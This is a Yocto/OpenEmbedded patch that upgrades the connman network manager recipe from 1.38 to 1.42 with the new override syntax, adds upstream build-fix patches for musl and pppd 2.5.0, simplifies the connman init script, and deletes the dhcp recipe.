+PACKAGECONFIG[wpa-supplicant] = ",,wpa-supplicant,wpa-supplicant"
+PACKAGECONFIG[iwd] = "--enable-iwd,--disable-iwd,,iwd"
PACKAGECONFIG[tist] = "--enable-tist,--disable-tist,"
PACKAGECONFIG[openvpn] = "--enable-openvpn --with-openvpn=${sbindir}/openvpn,--disable-openvpn,,openvpn"
PACKAGECONFIG[vpnc] = "--enable-vpnc --with-vpnc=${sbindir}/vpnc,--disable-vpnc,,vpnc"
@@ -64,16 +74,16 @@ python __anonymous () {
d.setVar('SYSTEMD_PACKAGES', systemd_packages)
}
-SYSTEMD_SERVICE_${PN} = "connman.service"
-SYSTEMD_SERVICE_${PN}-vpn = "connman-vpn.service"
-SYSTEMD_SERVICE_${PN}-wait-online = "connman-wait-online.service"
+SYSTEMD_SERVICE:${PN} = "connman.service"
+SYSTEMD_SERVICE:${PN}-vpn = "connman-vpn.service"
+SYSTEMD_SERVICE:${PN}-wait-online = "connman-wait-online.service"
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "${@bb.utils.contains('DISTRO_FEATURES','systemd','resolv-conf','',d)}"
+ALTERNATIVE:${PN} = "${@bb.utils.contains('DISTRO_FEATURES','systemd','resolv-conf','',d)}"
ALTERNATIVE_TARGET[resolv-conf] = "${@bb.utils.contains('DISTRO_FEATURES','systemd','${sysconfdir}/resolv-conf.connman','',d)}"
ALTERNATIVE_LINK_NAME[resolv-conf] = "${@bb.utils.contains('DISTRO_FEATURES','systemd','${sysconfdir}/resolv.conf','',d)}"
-do_install_append() {
+do_install:append() {
if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','true','false',d)}; then
install -d ${D}${sysconfdir}/init.d
install -m 0755 ${WORKDIR}/connman ${D}${sysconfdir}/init.d/connman
@@ -100,7 +110,7 @@ do_install_append() {
}
# These used to be plugins, but now they are core
-RPROVIDES_${PN} = "\
+RPROVIDES:${PN} = "\
connman-plugin-loopback \
connman-plugin-ethernet \
${@bb.utils.contains('PACKAGECONFIG', 'bluetooth','connman-plugin-bluetooth', '', d)} \
@@ -108,7 +118,7 @@ RPROVIDES_${PN} = "\
${@bb.utils.contains('PACKAGECONFIG', '3g','connman-plugin-ofono', '', d)} \
"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
dbus \
"
@@ -119,11 +129,11 @@ def add_rdepends(bb, d, file, pkg, depmap, multilib_prefix, add_insane_skip):
if plugintype in depmap:
rdepends = map(lambda x: multilib_prefix + x, \
depmap[plugintype].split())
- d.setVar("RDEPENDS_%s" % pkg, " ".join(rdepends))
+ d.setVar("RDEPENDS:%s" % pkg, " ".join(rdepends))
if add_insane_skip:
- d.appendVar("INSANE_SKIP_%s" % pkg, "dev-so")
+ d.appendVar("INSANE_SKIP:%s" % pkg, "dev-so")
-python populate_packages_prepend() {
+python populate_packages:prepend() {
depmap = dict(pppd="ppp")
multilib_prefix = (d.getVar("MLPREFIX") or "")
@@ -144,72 +154,72 @@ python populate_packages_prepend() {
PACKAGES =+ "${PN}-tools ${PN}-tests ${PN}-client"
-FILES_${PN}-tools = "${bindir}/wispr"
-RDEPENDS_${PN}-tools ="${PN}"
+FILES:${PN}-tools = "${bindir}/wispr"
+RDEPENDS:${PN}-tools ="${PN}"
-FILES_${PN}-tests = "${bindir}/*-test"
+FILES:${PN}-tests = "${bindir}/*-test"
-FILES_${PN}-client = "${bindir}/connmanctl"
-RDEPENDS_${PN}-client ="${PN}"
+FILES:${PN}-client = "${bindir}/connmanctl"
+RDEPENDS:${PN}-client ="${PN}"
-FILES_${PN} = "${bindir}/* ${sbindir}/* ${libexecdir}/* ${libdir}/lib*.so.* \
+FILES:${PN} = "${bindir}/* ${sbindir}/* ${libexecdir}/* ${libdir}/lib*.so.* \
${libdir}/connman/plugins \
${sysconfdir} ${sharedstatedir} ${localstatedir} ${datadir} \
${base_bindir}/* ${base_sbindir}/* ${base_libdir}/*.so* ${datadir}/${PN} \
${datadir}/dbus-1/system-services/* \
${sysconfdir}/tmpfiles.d/connman_resolvconf.conf"
-FILES_${PN}-dev += "${libdir}/connman/*/*.la"
+FILES:${PN}-dev += "${libdir}/connman/*/*.la"
PACKAGES =+ "${PN}-vpn ${PN}-wait-online"
-SUMMARY_${PN}-vpn = "A daemon for managing VPN connections within embedded devices"
-DESCRIPTION_${PN}-vpn = "The ConnMan VPN provides a daemon for \
+SUMMARY:${PN}-vpn = "A daemon for managing VPN connections within embedded devices"
+DESCRIPTION:${PN}-vpn = "The ConnMan VPN provides a daemon for \
managing VPN connections within embedded devices running the Linux \
operating system. The connman-vpnd handles all the VPN connections \
and starts/stops VPN client processes when necessary. The connman-vpnd \
provides a DBus API for managing VPN connections. All the different \
VPN technogies are implemented using plug-ins."
-FILES_${PN}-vpn += "${sbindir}/connman-vpnd \
+FILES:${PN}-vpn += "${sbindir}/connman-vpnd \
${sysconfdir}/dbus-1/system.d/connman-vpn-dbus.conf \
${datadir}/dbus-1/system-services/net.connman.vpn.service \
- ${systemd_unitdir}/system/connman-vpn.service"
+ ${systemd_system_unitdir}/connman-vpn.service"
-SUMMARY_${PN}-wait-online = "A program that will return once ConnMan has connected to a network"
-DESCRIPTION_${PN}-wait-online = "A service that can be enabled so that \
+SUMMARY:${PN}-wait-online = "A program that will return once ConnMan has connected to a network"
+DESCRIPTION:${PN}-wait-online = "A service that can be enabled so that \
the system waits until a network connection is established."
-FILES_${PN}-wait-online += "${sbindir}/connmand-wait-online \
- ${systemd_unitdir}/system/connman-wait-online.service"
+FILES:${PN}-wait-online += "${sbindir}/connmand-wait-online \
+ ${systemd_system_unitdir}/connman-wait-online.service"
-SUMMARY_${PN}-plugin-vpn-openvpn = "An OpenVPN plugin for ConnMan VPN"
-DESCRIPTION_${PN}-plugin-vpn-openvpn = "The ConnMan OpenVPN plugin uses openvpn client \
+SUMMARY:${PN}-plugin-vpn-openvpn = "An OpenVPN plugin for ConnMan VPN"
+DESCRIPTION:${PN}-plugin-vpn-openvpn = "The ConnMan OpenVPN plugin uses openvpn client \
to create a VPN connection to OpenVPN server."
-FILES_${PN}-plugin-vpn-openvpn += "${libdir}/connman/scripts/openvpn-script \
+FILES:${PN}-plugin-vpn-openvpn += "${libdir}/connman/scripts/openvpn-script \
${libdir}/connman/plugins-vpn/openvpn.so"
-RDEPENDS_${PN}-plugin-vpn-openvpn += "${PN}-vpn"
-RRECOMMENDS_${PN} += "${@bb.utils.contains('PACKAGECONFIG','openvpn','${PN}-plugin-vpn-openvpn', '', d)}"
+RDEPENDS:${PN}-plugin-vpn-openvpn += "${PN}-vpn"
+RRECOMMENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG','openvpn','${PN}-plugin-vpn-openvpn', '', d)}"
-SUMMARY_${PN}-plugin-vpn-vpnc = "A vpnc plugin for ConnMan VPN"
-DESCRIPTION_${PN}-plugin-vpn-vpnc = "The ConnMan vpnc plugin uses vpnc client \
+SUMMARY:${PN}-plugin-vpn-vpnc = "A vpnc plugin for ConnMan VPN"
+DESCRIPTION:${PN}-plugin-vpn-vpnc = "The ConnMan vpnc plugin uses vpnc client \
to create a VPN connection to Cisco3000 VPN Concentrator."
-FILES_${PN}-plugin-vpn-vpnc += "${libdir}/connman/scripts/openconnect-script \
+FILES:${PN}-plugin-vpn-vpnc += "${libdir}/connman/scripts/openconnect-script \
${libdir}/connman/plugins-vpn/vpnc.so \
${libdir}/connman/scripts/vpn-script"
-RDEPENDS_${PN}-plugin-vpn-vpnc += "${PN}-vpn"
-RRECOMMENDS_${PN} += "${@bb.utils.contains('PACKAGECONFIG','vpnc','${PN}-plugin-vpn-vpnc', '', d)}"
+RDEPENDS:${PN}-plugin-vpn-vpnc += "${PN}-vpn"
+RRECOMMENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG','vpnc','${PN}-plugin-vpn-vpnc', '', d)}"
-SUMMARY_${PN}-plugin-vpn-l2tp = "A L2TP plugin for ConnMan VPN"
-DESCRIPTION_${PN}-plugin-vpn-l2tp = "The ConnMan L2TP plugin uses xl2tpd daemon \
+SUMMARY:${PN}-plugin-vpn-l2tp = "A L2TP plugin for ConnMan VPN"
+DESCRIPTION:${PN}-plugin-vpn-l2tp = "The ConnMan L2TP plugin uses xl2tpd daemon \
to create a VPN connection to L2TP server."
-FILES_${PN}-plugin-vpn-l2tp += "${libdir}/connman/scripts/libppp-plugin.so* \
+FILES:${PN}-plugin-vpn-l2tp += "${libdir}/connman/scripts/libppp-plugin.so* \
${libdir}/connman/plugins-vpn/l2tp.so"
-RDEPENDS_${PN}-plugin-vpn-l2tp += "${PN}-vpn"
-RRECOMMENDS_${PN} += "${@bb.utils.contains('PACKAGECONFIG','l2tp','${PN}-plugin-vpn-l2tp', '', d)}"
+RDEPENDS:${PN}-plugin-vpn-l2tp += "${PN}-vpn"
+RRECOMMENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG','l2tp','${PN}-plugin-vpn-l2tp', '', d)}"
-SUMMARY_${PN}-plugin-vpn-pptp = "A PPTP plugin for ConnMan VPN"
-DESCRIPTION_${PN}-plugin-vpn-pptp = "The ConnMan PPTP plugin uses pptp-linux client \
+SUMMARY:${PN}-plugin-vpn-pptp = "A PPTP plugin for ConnMan VPN"
+DESCRIPTION:${PN}-plugin-vpn-pptp = "The ConnMan PPTP plugin uses pptp-linux client \
to create a VPN connection to PPTP server."
-FILES_${PN}-plugin-vpn-pptp += "${libdir}/connman/scripts/libppp-plugin.so* \
+FILES:${PN}-plugin-vpn-pptp += "${libdir}/connman/scripts/libppp-plugin.so* \
${libdir}/connman/plugins-vpn/pptp.so"
-RDEPENDS_${PN}-plugin-vpn-pptp += "${PN}-vpn"
-RRECOMMENDS_${PN} += "${@bb.utils.contains('PACKAGECONFIG','pptp','${PN}-plugin-vpn-pptp', '', d)}"
+RDEPENDS:${PN}-plugin-vpn-pptp += "${PN}-vpn"
+RRECOMMENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG','pptp','${PN}-plugin-vpn-pptp', '', d)}"
diff --git a/meta/recipes-connectivity/connman/connman/0001-src-log.c-Include-libgen.h-for-basename-API.patch b/meta/recipes-connectivity/connman/connman/0001-src-log.c-Include-libgen.h-for-basename-API.patch
new file mode 100644
index 0000000000..8012606db7
--- /dev/null
+++ b/meta/recipes-connectivity/connman/connman/0001-src-log.c-Include-libgen.h-for-basename-API.patch
@@ -0,0 +1,55 @@
+From cbba6638986c2de763981bf6fc59df6a86fed44f Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 1 Jan 2024 17:42:21 -0800
+Subject: [PATCH v2] src/log.c: Include libgen.h for basename API
+
+Use POSIX version of basename. This comes to front with latest musl
+which dropped the declaration from string.h [1] it fails to build with
+clang-17+ because it treats implicit function declaration as error.
+
+Fix it by applying the basename on a copy of string since posix version
+may modify the input string.
+
+[1] https://git.musl-libc.org/cgit/musl/commit/?id=725e17ed6dff4d0cd22487bb64470881e86a92e7
+
+Upstream-Status: Submitted [https://lore.kernel.org/connman/20240102015917.3732089-1-raj.khem@gmail.com/T/#u]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+
+ src/log.c | 6 ++++--
+ 1 file changed, 4 insertions(+), 2 deletions(-)
+
+diff --git a/src/log.c b/src/log.c
+index 554b046..2df3af7 100644
+--- a/src/log.c
++++ b/src/log.c
+@@ -24,6 +24,7 @@
+ #endif
+
+ #include <stdio.h>
++#include <libgen.h>
+ #include <unistd.h>
+ #include <stdarg.h>
+ #include <stdlib.h>
+@@ -196,6 +197,7 @@ int __connman_log_init(const char *program, const char *debug,
+ const char *program_name, const char *program_version)
+ {
+ static char path[PATH_MAX];
++ char* tmp = strdup(program);
+ int option = LOG_NDELAY | LOG_PID;
+
+ program_exec = program;
+@@ -212,8 +214,8 @@ int __connman_log_init(const char *program, const char *debug,
+ if (backtrace)
+ signal_setup(signal_handler);
+
+- openlog(basename(program), option, LOG_DAEMON);
+-
++ openlog(basename(tmp), option, LOG_DAEMON);
++ free(tmp);
+ syslog(LOG_INFO, "%s version %s", program_name, program_version);
+
+ return 0;
+--
+2.43.0
+
diff --git a/meta/recipes-connectivity/connman/connman/0001-vpn-Adding-support-for-latest-pppd-2.5.0-release.patch b/meta/recipes-connectivity/connman/connman/0001-vpn-Adding-support-for-latest-pppd-2.5.0-release.patch
new file mode 100644
index 0000000000..9e5ac8da15
--- /dev/null
+++ b/meta/recipes-connectivity/connman/connman/0001-vpn-Adding-support-for-latest-pppd-2.5.0-release.patch
@@ -0,0 +1,152 @@
+From af55a6a414d32c12f9ef3cab778385a361e1ad6d Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Eivind=20N=C3=A6ss?= <eivnaes@yahoo.com>
+Date: Sat, 25 Mar 2023 20:51:52 +0000
+Subject: [PATCH] vpn: Adding support for latest pppd 2.5.0 release
+
+The API has gone through a significant overhaul, and this change fixes any compile issues.
+1) Fixes to configure.ac itself
+2) Cleanup in pppd plugin itself
+
+Adding a libppp-compat.h file to mask for any differences in the version.
+
+Upstream-Status: Backport [https://git.kernel.org/pub/scm/network/connman/connman.git/commit/?id=a48864a2e5d2a725dfc6eef567108bc13b43857f]
+Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
+
+---
+ scripts/libppp-compat.h | 127 ++++++++++++++++++++++++++++++++++++++++
+ 1 file changed, 127 insertions(+)
+ create mode 100644 scripts/libppp-compat.h
+
+diff --git a/scripts/libppp-compat.h b/scripts/libppp-compat.h
+new file mode 100644
+index 0000000..eee1d09
+--- /dev/null
++++ b/scripts/libppp-compat.h
+@@ -0,0 +1,127 @@
++/* Copyright (C) Eivind Naess, eivnaes@yahoo.com */
++/* SPDX-License-Identifier: GPL-2.0-or-later */
++
++#ifndef __LIBPPP_COMPAT_H__
++#define __LIBPPP_COMPAT_H__
++
++/* Define USE_EAPTLS compile with EAP TLS support against older pppd headers,
++ * pppd >= 2.5.0 use PPP_WITH_EAPTLS and is defined in pppdconf.h */
++#define USE_EAPTLS 1
++
++/* Define INET6 to compile with IPv6 support against older pppd headers,
++ * pppd >= 2.5.0 use PPP_WITH_IPV6CP and is defined in pppdconf.h */
++#define INET6 1
++
++/* PPP < 2.5.0 defines and exports VERSION which overlaps with current package VERSION define.
++ * this silly macro magic is to work around that. */
++#undef VERSION
++#include <pppd/pppd.h>
++
++#ifndef PPPD_VERSION
++#define PPPD_VERSION VERSION
++#endif
++
++#include <pppd/fsm.h>
++#include <pppd/ccp.h>
++#include <pppd/eui64.h>
++#include <pppd/ipcp.h>
++#include <pppd/ipv6cp.h>
++#include <pppd/eap.h>
++#include <pppd/upap.h>
++
++#ifdef HAVE_PPPD_CHAP_H
++#include <pppd/chap.h>
++#endif
++
++#ifdef HAVE_PPPD_CHAP_NEW_H
++#include <pppd/chap-new.h>
++#endif
++
++#ifdef HAVE_PPPD_CHAP_MS_H
++#include <pppd/chap_ms.h>
++#endif
++
++#ifndef PPP_PROTO_CHAP
++#define PPP_PROTO_CHAP 0xc223
++#endif
++
++#ifndef PPP_PROTO_EAP
++#define PPP_PROTO_EAP 0xc227
++#endif
++
++
++#if WITH_PPP_VERSION < PPP_VERSION(2,5,0)
++
++static inline bool
++debug_on (void)
++{
++ return debug;
++}
++
++static inline const char
++*ppp_ipparam (void)
++{
++ return ipparam;
++}
++
++static inline int
++ppp_ifunit (void)
++{
++ return ifunit;
++}
++
++static inline const char *
++ppp_ifname (void)
++{
++ return ifname;
++}
++
++static inline int
++ppp_get_mtu (int idx)
++{
++ return netif_get_mtu(idx);
++}
++
++typedef enum ppp_notify
++{
++ NF_PID_CHANGE,
++ NF_PHASE_CHANGE,
++ NF_EXIT,
++ NF_SIGNALED,
++ NF_IP_UP,
++ NF_IP_DOWN,
++ NF_IPV6_UP,
++ NF_IPV6_DOWN,
++ NF_AUTH_UP,
++ NF_LINK_DOWN,
++ NF_FORK,
++ NF_MAX_NOTIFY
++} ppp_notify_t;
++
++typedef void (ppp_notify_fn) (void *ctx, int arg);
++
++static inline void
++ppp_add_notify (ppp_notify_t type, ppp_notify_fn *func, void *ctx)
++{
++ struct notifier **list[NF_MAX_NOTIFY] = {
++ [NF_PID_CHANGE ] = &pidchange,
++ [NF_PHASE_CHANGE] = &phasechange,
++ [NF_EXIT ] = &exitnotify,
++ [NF_SIGNALED ] = &sigreceived,
++ [NF_IP_UP ] = &ip_up_notifier,
++ [NF_IP_DOWN ] = &ip_down_notifier,
++ [NF_IPV6_UP ] = &ipv6_up_notifier,
++ [NF_IPV6_DOWN ] = &ipv6_down_notifier,
++ [NF_AUTH_UP ] = &auth_up_notifier,
++ [NF_LINK_DOWN ] = &link_down_notifier,
++ [NF_FORK ] = &fork_notifier,
++ };
++
++ struct notifier **notify = list[type];
++ if (notify) {
++ add_notifier(notify, func, ctx);
++ }
++}
++
++#endif /* #if WITH_PPP_VERSION < PPP_VERSION(2,5,0) */
++#endif /* #if__LIBPPP_COMPAT_H__ */
diff --git a/meta/recipes-connectivity/connman/connman/0002-resolve-musl-does-not-implement-res_ninit.patch b/meta/recipes-connectivity/connman/connman/0002-resolve-musl-does-not-implement-res_ninit.patch
index 942b9c97b6..aefdd3aa06 100644
--- a/meta/recipes-connectivity/connman/connman/0002-resolve-musl-does-not-implement-res_ninit.patch
+++ b/meta/recipes-connectivity/connman/connman/0002-resolve-musl-does-not-implement-res_ninit.patch
@@ -1,4 +1,4 @@
-From c7734e1547db967eccf242fe4b9e8a30b9ff141c Mon Sep 17 00:00:00 2001
+From 01974865e4d331eeaf25248bee1bb96539c450d9 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 6 Apr 2015 23:02:21 -0700
Subject: [PATCH] resolve: musl does not implement res_ninit
@@ -15,18 +15,10 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 13 insertions(+), 21 deletions(-)
diff --git a/gweb/gresolv.c b/gweb/gresolv.c
-index 38a554e..a9e8740 100644
+index 954e7cf..2a9bc51 100644
--- a/gweb/gresolv.c
+++ b/gweb/gresolv.c
-@@ -36,6 +36,7 @@
- #include <arpa/inet.h>
- #include <arpa/nameser.h>
- #include <net/if.h>
-+#include <ctype.h>
-
- #include "gresolv.h"
-
-@@ -877,8 +878,6 @@ GResolv *g_resolv_new(int index)
+@@ -878,8 +879,6 @@ GResolv *g_resolv_new(int index)
resolv->index = index;
resolv->nameserver_list = NULL;
@@ -35,7 +27,7 @@ index 38a554e..a9e8740 100644
return resolv;
}
-@@ -918,8 +917,6 @@ void g_resolv_unref(GResolv *resolv)
+@@ -919,8 +918,6 @@ void g_resolv_unref(GResolv *resolv)
flush_nameservers(resolv);
@@ -44,7 +36,7 @@ index 38a554e..a9e8740 100644
g_free(resolv);
}
-@@ -1022,24 +1019,19 @@ guint g_resolv_lookup_hostname(GResolv *resolv, const char *hostname,
+@@ -1023,24 +1020,19 @@ guint g_resolv_lookup_hostname(GResolv *resolv, const char *hostname,
debug(resolv, "hostname %s", hostname);
if (!resolv->nameserver_list) {
diff --git a/meta/recipes-connectivity/connman/connman/connman b/meta/recipes-connectivity/connman/connman/connman
index c64fa0d715..a021fd4655 100644
--- a/meta/recipes-connectivity/connman/connman/connman
+++ b/meta/recipes-connectivity/connman/connman/connman
@@ -10,49 +10,11 @@ fi
set -e
-nfsroot=0
-
-exec 9<&0 < /proc/mounts
-while read dev mtpt fstype rest; do
- if test $mtpt = "/" ; then
- case $fstype in
- nfs | nfs4)
- nfsroot=1
- break
- ;;
- *)
- ;;
- esac
- fi
-done
-
do_start() {
- EXTRA_PARAM=""
- if test $nfsroot -eq 1 ; then
- NET_DEVS=`cat /proc/net/dev | sed -ne 's/^\([a-zA-Z0-9 ]*\):.*$/\1/p'`
- NET_ADDR=`cat /proc/cmdline | sed -ne 's/^.*ip=\([^ :]*\).*$/\1/p'`
-
- if [ ! -z "$NET_ADDR" ]; then
- if [ "$NET_ADDR" = dhcp ]; then
- ethn=`ifconfig | grep "^eth" | sed -e "s/\(eth[0-9]\)\(.*\)/\1/"`
- if [ ! -z "$ethn" ]; then
- EXTRA_PARAM="-I $ethn"
- fi
- else
- for i in $NET_DEVS; do
- ADDR=`ifconfig $i | sed 's/addr://g' | sed -ne 's/^.*inet \([0-9.]*\) .*$/\1/p'`
- if [ "$NET_ADDR" = "$ADDR" ]; then
- EXTRA_PARAM="-I $i"
- break
- fi
- done
- fi
- fi
- fi
if [ -f @DATADIR@/connman/wired-setup ] ; then
. @DATADIR@/connman/wired-setup
fi
- $DAEMON $EXTRA_PARAM
+ $DAEMON
}
do_stop() {
diff --git a/meta/recipes-connectivity/connman/connman_1.38.bb b/meta/recipes-connectivity/connman/connman_1.38.bb
deleted file mode 100644
index 027c41e9af..0000000000
--- a/meta/recipes-connectivity/connman/connman_1.38.bb
+++ /dev/null
@@ -1,16 +0,0 @@
-require connman.inc
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/network/${BPN}/${BP}.tar.xz \
- file://0001-plugin.h-Change-visibility-to-default-for-debug-symb.patch \
- file://0001-connman.service-stop-systemd-resolved-when-we-use-co.patch \
- file://connman \
- file://no-version-scripts.patch \
- "
-
-SRC_URI_append_libc-musl = " file://0002-resolve-musl-does-not-implement-res_ninit.patch"
-
-SRC_URI[md5sum] = "1ed8745354c7254bdfd4def54833ee94"
-SRC_URI[sha256sum] = "cb30aca97c2f79ccaed8802aa2909ac5100a3969de74c0af8a9d73b85fc4932b"
-
-RRECOMMENDS_${PN} = "connman-conf"
-RCONFLICTS_${PN} = "networkmanager"
diff --git a/meta/recipes-connectivity/connman/connman_1.42.bb b/meta/recipes-connectivity/connman/connman_1.42.bb
new file mode 100644
index 0000000000..91ab9895ac
--- /dev/null
+++ b/meta/recipes-connectivity/connman/connman_1.42.bb
@@ -0,0 +1,17 @@
+require connman.inc
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/network/${BPN}/${BP}.tar.xz \
+ file://0001-plugin.h-Change-visibility-to-default-for-debug-symb.patch \
+ file://0001-connman.service-stop-systemd-resolved-when-we-use-co.patch \
+ file://connman \
+ file://no-version-scripts.patch \
+ file://0001-vpn-Adding-support-for-latest-pppd-2.5.0-release.patch \
+ file://0001-src-log.c-Include-libgen.h-for-basename-API.patch \
+ "
+
+SRC_URI:append:libc-musl = " file://0002-resolve-musl-does-not-implement-res_ninit.patch"
+
+SRC_URI[sha256sum] = "a3e6bae46fc081ef2e9dae3caa4f7649de892c3de622c20283ac0ca81423c2aa"
+
+RRECOMMENDS:${PN} = "connman-conf"
+RCONFLICTS:${PN} = "networkmanager"
diff --git a/meta/recipes-connectivity/dhcp/dhcp.inc b/meta/recipes-connectivity/dhcp/dhcp.inc
deleted file mode 100644
index d46130d49b..0000000000
--- a/meta/recipes-connectivity/dhcp/dhcp.inc
+++ /dev/null
@@ -1,149 +0,0 @@
-SECTION = "console/network"
-SUMMARY = "Internet Software Consortium DHCP package"
-DESCRIPTION = "DHCP (Dynamic Host Configuration Protocol) is a protocol \
-which allows individual devices on an IP network to get their own \
-network configuration information from a server. DHCP helps make it \
-easier to administer devices."
-
-HOMEPAGE = "http://www.isc.org/"
-
-LICENSE = "ISC"
-LIC_FILES_CHKSUM = "file://LICENSE;beginline=4;md5=004a4db50a1e20972e924a8618747c01"
-
-DEPENDS = "openssl bind"
-
-SRC_URI = "http://ftp.isc.org/isc/dhcp/${PV}/dhcp-${PV}.tar.gz \
- file://init-relay file://default-relay \
- file://init-server file://default-server \
- file://dhclient.conf file://dhcpd.conf \
- file://dhclient-systemd-wrapper \
- file://dhclient.service \
- file://dhcpd.service file://dhcrelay.service \
- file://dhcpd6.service \
- "
-UPSTREAM_CHECK_URI = "http://ftp.isc.org/isc/dhcp/"
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+\.\d+\.(\d+?))/"
-
-inherit autotools-brokensep systemd useradd update-rc.d
-
-USERADD_PACKAGES = "${PN}-server"
-USERADD_PARAM_${PN}-server = "--system --no-create-home --home-dir /var/run/${BPN} --shell /bin/false --user-group ${BPN}"
-
-SYSTEMD_PACKAGES = "${PN}-server ${PN}-relay ${PN}-client"
-SYSTEMD_SERVICE_${PN}-server = "dhcpd.service dhcpd6.service"
-SYSTEMD_AUTO_ENABLE_${PN}-server = "disable"
-
-SYSTEMD_SERVICE_${PN}-relay = "dhcrelay.service"
-SYSTEMD_AUTO_ENABLE_${PN}-relay = "disable"
-
-SYSTEMD_SERVICE_${PN}-client = "dhclient.service"
-SYSTEMD_AUTO_ENABLE_${PN}-client = "disable"
-
-INITSCRIPT_PACKAGES = "dhcp-server"
-INITSCRIPT_NAME_dhcp-server = "dhcp-server"
-INITSCRIPT_PARAMS_dhcp-server = "defaults"
-
-CFLAGS += "-D_GNU_SOURCE"
-EXTRA_OECONF = "--with-srv-lease-file=${localstatedir}/lib/dhcp/dhcpd.leases \
- --with-srv6-lease-file=${localstatedir}/lib/dhcp/dhcpd6.leases \
- --with-cli-lease-file=${localstatedir}/lib/dhcp/dhclient.leases \
- --with-cli6-lease-file=${localstatedir}/lib/dhcp/dhclient6.leases \
- --enable-paranoia --disable-static \
- --with-randomdev=/dev/random \
- --with-libbind=${STAGING_DIR_HOST} \
- --enable-libtool \
- "
-
-#Enable shared libs per dhcp README
-do_configure_prepend () {
- cp configure.ac+lt configure.ac
-}
-
-do_install_append () {
- install -d ${D}${sysconfdir}/init.d
- install -d ${D}${sysconfdir}/default
- install -d ${D}${sysconfdir}/dhcp
- install -m 0755 ${WORKDIR}/init-relay ${D}${sysconfdir}/init.d/dhcp-relay
- install -m 0644 ${WORKDIR}/default-relay ${D}${sysconfdir}/default/dhcp-relay
- install -m 0755 ${WORKDIR}/init-server ${D}${sysconfdir}/init.d/dhcp-server
- install -m 0644 ${WORKDIR}/default-server ${D}${sysconfdir}/default/dhcp-server
-
- rm -f ${D}${sysconfdir}/dhclient.conf*
- rm -f ${D}${sysconfdir}/dhcpd.conf*
- install -m 0644 ${WORKDIR}/dhclient.conf ${D}${sysconfdir}/dhcp/dhclient.conf
- install -m 0644 ${WORKDIR}/dhcpd.conf ${D}${sysconfdir}/dhcp/dhcpd.conf
-
- install -d ${D}${base_sbindir}/
- if [ "${sbindir}" != "${base_sbindir}" ]; then
- mv ${D}${sbindir}/dhclient ${D}${base_sbindir}/
- fi
- install -m 0755 ${S}/client/scripts/linux ${D}${base_sbindir}/dhclient-script
-
- # Install systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/dhcpd.service ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/dhcpd6.service ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/dhcrelay.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_unitdir}/system/dhcpd*.service ${D}${systemd_unitdir}/system/dhcrelay.service
- sed -i -e 's,@SYSCONFDIR@,${sysconfdir},g' ${D}${systemd_unitdir}/system/dhcpd*.service
- sed -i -e 's,@base_bindir@,${base_bindir},g' ${D}${systemd_unitdir}/system/dhcpd*.service
- sed -i -e 's,@localstatedir@,${localstatedir},g' ${D}${systemd_unitdir}/system/dhcpd*.service
- sed -i -e 's,@SYSCONFDIR@,${sysconfdir},g' ${D}${systemd_unitdir}/system/dhcrelay.service
-
- install -d ${D}${base_sbindir}
- install -m 0755 ${WORKDIR}/dhclient-systemd-wrapper ${D}${base_sbindir}/dhclient-systemd-wrapper
- install -m 0644 ${WORKDIR}/dhclient.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SYSCONFDIR@,${sysconfdir},g' ${D}${systemd_unitdir}/system/dhclient.service
- sed -i -e 's,@BASE_SBINDIR@,${base_sbindir},g' ${D}${systemd_unitdir}/system/dhclient.service
-}
-
-PACKAGES += "dhcp-libs dhcp-server dhcp-server-config dhcp-client dhcp-relay dhcp-omshell"
-
-PACKAGES_remove = "${PN}"
-RDEPENDS_${PN}-client += "${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'iproute2', '', d)}"
-RDEPENDS_${PN}-dev = ""
-RDEPENDS_${PN}-staticdev = ""
-FILES_${PN}-libs = "${libdir}/libdhcpctl.so.0* ${libdir}/libomapi.so.0* ${libdir}/libdhcp.so.0*"
-
-FILES_${PN}-server = "${sbindir}/dhcpd ${sysconfdir}/init.d/dhcp-server"
-RRECOMMENDS_${PN}-server = "dhcp-server-config"
-
-FILES_${PN}-server-config = "${sysconfdir}/default/dhcp-server ${sysconfdir}/dhcp/dhcpd.conf"
-
-FILES_${PN}-relay = "${sbindir}/dhcrelay ${sysconfdir}/init.d/dhcp-relay ${sysconfdir}/default/dhcp-relay"
-
-FILES_${PN}-client = "${base_sbindir}/dhclient \
- ${base_sbindir}/dhclient-script \
- ${sysconfdir}/dhcp/dhclient.conf \
- ${base_sbindir}/dhclient-systemd-wrapper \
- "
-
-FILES_${PN}-omshell = "${bindir}/omshell"
-
-pkg_postinst_dhcp-server() {
- mkdir -p $D/${localstatedir}/lib/dhcp
- touch $D/${localstatedir}/lib/dhcp/dhcpd.leases
- touch $D/${localstatedir}/lib/dhcp/dhcpd6.leases
-}
-
-pkg_postinst_dhcp-client() {
- mkdir -p $D/${localstatedir}/lib/dhcp
-}
-
-pkg_postrm_dhcp-server() {
- rm -f $D/${localstatedir}/lib/dhcp/dhcpd.leases
- rm -f $D/${localstatedir}/lib/dhcp/dhcpd6.leases
-
- if ! rmdir $D/${localstatedir}/lib/dhcp 2>/dev/null; then
- echo "Not removing ${localstatedir}/lib/dhcp as it is non-empty."
- fi
-}
-
-pkg_postrm_dhcp-client() {
- rm -f $D/${localstatedir}/lib/dhcp/dhclient.leases
